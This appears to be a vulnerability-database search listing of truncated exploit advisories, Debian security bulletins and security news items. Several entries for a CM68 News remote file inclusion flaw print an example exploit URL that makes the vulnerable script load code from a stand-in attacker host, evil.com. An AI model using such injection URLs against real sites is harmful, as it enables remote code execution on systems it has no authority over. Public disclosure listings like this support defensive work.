330 matches found
Joomla! Component com_tickets 2.1 - 'id' SQL Injection
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Joomla Component comtickets id SQL-injection Vulnerability ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + Author : Chip D3 Bi0s + Email : chipdebiosalt+64gmail.com + Greetz : d4n1ux +...
Joomla Component com_tickets <= 2.1 (id) SQL Injection Vuln
Exploit for unknown platform in category web applications =========================================================== Joomla Component comtickets = 2.1 id SQL Injection Vuln ===========================================================...
Joomla! Component com_tickets 2.1 - id SQL Injection
Joomla! Component comtickets 2.1 - id SQL Injection ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Joomla Component comtickets id SQL-injection Vulnerability ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + Author : Chip D3 Bi0s + Email ...
Short list emerges for cybersecurity czar job
The first reports of the short list for the job of federal cybersecurity coordinator are beginning to trickle out, and while some of the names are all too familiar, many others are quite new to the national scene. The most well-known name on the list, as reported by Reuters, is that of Scott...
Paul McCartney's official site serving malware
From ZDNet Dancho Danchev The official web site of Paul McCartney paulmccartney.com has been compromised, and is serving live exploits to its visitors zdnet.com. According to Mary Landesman scansafe.com, the compromise might have occurred through stolen FTP accounting data, taking into...
Paul Judge on Cloud Security and Security as a Service
In the debut episode of the Digital Underground Podcast, Dennis Fisher talks to Paul Judge, founder and CTO of Purewire, about the security of cloud computing services, reputation systems and the growing threat of social networks. Subscribe to the Digital Underground podcast on...
Ubuntu: Security Advisory (USN-460-1)
The remote host is missing an update for the SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...
InselPhoto 1.1 - Cross-Site Scripting
InselPhoto 1.1 - Cross-Site Scripting Software: InselPhoto v1.1 Persistent XSS Vulnerability Discovered by: Paul Hand aka rAWjAW Blog: http://rawjaw-security.blogspot.com E-mail: phand3754gmailcom Shouts: rBg && eternalsecurity For this Persistent XSS to work you have to: 1. Create a user account...
DSA-1709-1 shadow - privilege escalation
Bulletin has no description...
/bin/login gives root to group utmp
There is a group-utmp-to-root privilege escalation vulnerability in /bin/login in Debian, and I expect in all other Linux distros. For details and exploit please see http://bugs.debian.org/505271 Currently am not aware of any group utmp issues that could be leveraged to get root. Cheers, Paul Sza...
DSA-1507-1 turba2
Bulletin has no description...
CastleCops Six Years Old
http://www.castlecops.com/t216074-HappyBirthdayCCSP.html Hi Folks, I encourage everyone to jump in and say happy birthday above. With all the performance excitement from this month, I plumb forgot! Thanks all. -- Paul Laudanski, CastleCops®, http://www.castlecops.com...
Debian Security Advisory DSA 456-1 (kernel)
The remote host is missing an update to kernel-source-2.2.19, kernel-patch-2.2.19-arm, kernel-image-2.2.19-netwinder, kernel-image-2.2.19-riscpc announced via advisory DSA 456-1. OpenVAS Vulnerability Test $Id: deb4561.nasl 6616 2017-07-07 12:10:49Z cfischer $ Description: Auto-generated from...
Cart32 Arbitrary File Download Vulnerability
======================================================================== = Cart32 Arbitrary File Download Vulnerability = = Vendor Website: = http://www.cart32.com = = Affected Version: = -- All releases prior to and including v6.3 = = Public disclosure on Thursday 4th October 2007 =...
[SECURITY] [DSA 1293-1] New quagga packages fix denial of service
-------------------------------------------------------------------------- Debian Security Advisory DSA 1293-1 [email protected] http://www.debian.org/security/ Martin Schulze May 17th, 2007 http://www.debian.org/security/faq -...
DSA-1293-1 quagga
Bulletin has no description...
CM68 News <= 12.02.06 (addpth) Remote File Inclusion Vulnerability
Vulnerable Software:cm68news Vulnerable file: /engine/oldnews.inc.php Credits: Paul Bakoyiannis Vulnerable Variable: addpath Example Exploit: http://site.com/cm68news/engine/oldnews.inc.php?addpath=http://evil.com/script.txt?& milw0rm.com 2006-12-08...
CM68 News <= 12.02.06 (addpth) Remote File Inclusion Vulnerability
No description provided by source. Vulnerable Software:cm68news Vulnerable file: /engine/oldnews.inc.php Credits: Paul Bakoyiannis Vulnerable Variable: addpath Example Exploit: http://site.com/cm68news/engine/oldnews.inc.php?addpath=http://evil.com/script.txt?&...
CM68 News 12.02.06 - 'addpth' Remote File Inclusion
Vulnerable Software:cm68news Vulnerable file: /engine/oldnews.inc.php Credits: Paul Bakoyiannis Vulnerable Variable: addpath Example Exploit: http://site.com/cm68news/engine/oldnews.inc.php?addpath=http://evil.com/script.txt?& milw0rm.com 2006-12-08...
cm68news-rfi.txt
Vulnerable Software:cm68news Vulnerable file: /engine/oldnews.inc.php Credits: Paul Bakoyiannis Vulnerable Variable: addpath Example Exploit: http://site.com/cm68news/engine/oldnews.inc.php?addpath=http://evil.com/script.txt?&...